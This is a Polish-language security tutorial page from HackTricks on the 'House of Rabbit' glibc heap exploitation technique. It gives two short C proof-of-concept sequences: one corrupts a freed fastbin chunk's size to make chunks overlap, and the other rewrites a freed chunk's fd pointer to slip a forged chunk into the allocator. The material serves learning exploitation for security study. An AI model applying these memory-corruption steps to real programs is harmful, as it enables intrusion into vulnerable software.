House of Rabbit

Naucz się i praktykuj Hacking AWS:HackTricks Szkolenie AWS Red Team Expert (ARTE) Naucz się i praktykuj Hacking GCP: HackTricks Szkolenie GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

Wymagania

  1. Możliwość modyfikacji wskaźnika fd lub rozmiaru fastbin: Oznacza to, że możesz zmienić wskaźnik do przodu fragmentu w fastbin lub jego rozmiar.

  2. Możliwość wywołania malloc_consolidate: Można to zrobić albo alokując duży fragment, albo łącząc fragment górny, co zmusza stertę do konsolidacji fragmentów.

Cele

  1. Utworzenie nakładających się fragmentów: Aby jeden fragment nakładał się na drugi, umożliwiając dalsze manipulacje stertą.

  2. Podrobienie fałszywych fragmentów: Aby oszukać alokator, aby traktował fałszywy fragment jako prawidłowy fragment podczas operacji na stercie.

Kroki ataku

POC 1: Zmiana rozmiaru fragmentu fastbin

Cel: Utworzenie nakładającego się fragmentu poprzez manipulację rozmiarem fragmentu fastbin.

  • Krok 1: Alokacja fragmentów

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Krok 2: Zwolnij bloki

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Krok 3: Zmiana Rozmiaru Kawałka

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Krok 4: Wywołaj malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Przydzielanie dużej porcji powoduje wywołanie funkcji malloc_consolidate, łączącej małe porcje w szybkim pojemniku. Zmanipulowany rozmiar chunk1 powoduje nakładanie się na chunk2.

Po konsolidacji chunk1 nakłada się na chunk2, co umożliwia dalsze wykorzystanie.

POC 2: Zmodyfikuj wskaźnik fd

Cel: Utwórz fałszywą porcję, manipulując wskaźnikiem fd w szybkim pojemniku.

  • Krok 1: Przydziel porcje

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Wyjaśnienie: Alokujemy dwa fragmenty, jeden mniejszy i jeden większy, aby przygotować stertę do fałszywego fragmentu.

  • Krok 2: Utwórz fałszywy fragment

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Krok 3: Zwolnij chunk1

free(chunk1);  // Frees the chunk at 0x602000

Wyjaśnienie: Zwolniamy chunk1, dodając go do listy fastbin.

  • Krok 4: Zmodyfikuj fd chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Wyjaśnienie: Zmieniamy wskaźnik w przód (fd) chunk1, aby wskazywał na nasz fałszywy kawałek wewnątrz chunk2.

  • Krok 5: Wywołaj malloc_consolidate

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Alokacja ponownie dużej porcji powoduje uruchomienie malloc_consolidate, który przetwarza fałszywy kawałek.

Fałszywy kawałek staje się częścią listy fastbin, co czyni go prawidłowym kawałkiem do dalszej eksploatacji.

Podsumowanie

Technika House of Rabbit polega na zmodyfikowaniu rozmiaru kawałka fast bin w celu stworzenia nakładających się kawałków lub manipulacji wskaźnikiem fd w celu stworzenia fałszywych kawałków. Pozwala to atakującym na tworzenie prawidłowych kawałków na stercie, umożliwiając różne formy eksploatacji. Zrozumienie i praktykowanie tych kroków poprawi Twoje umiejętności eksploatacji sterty.

Last updated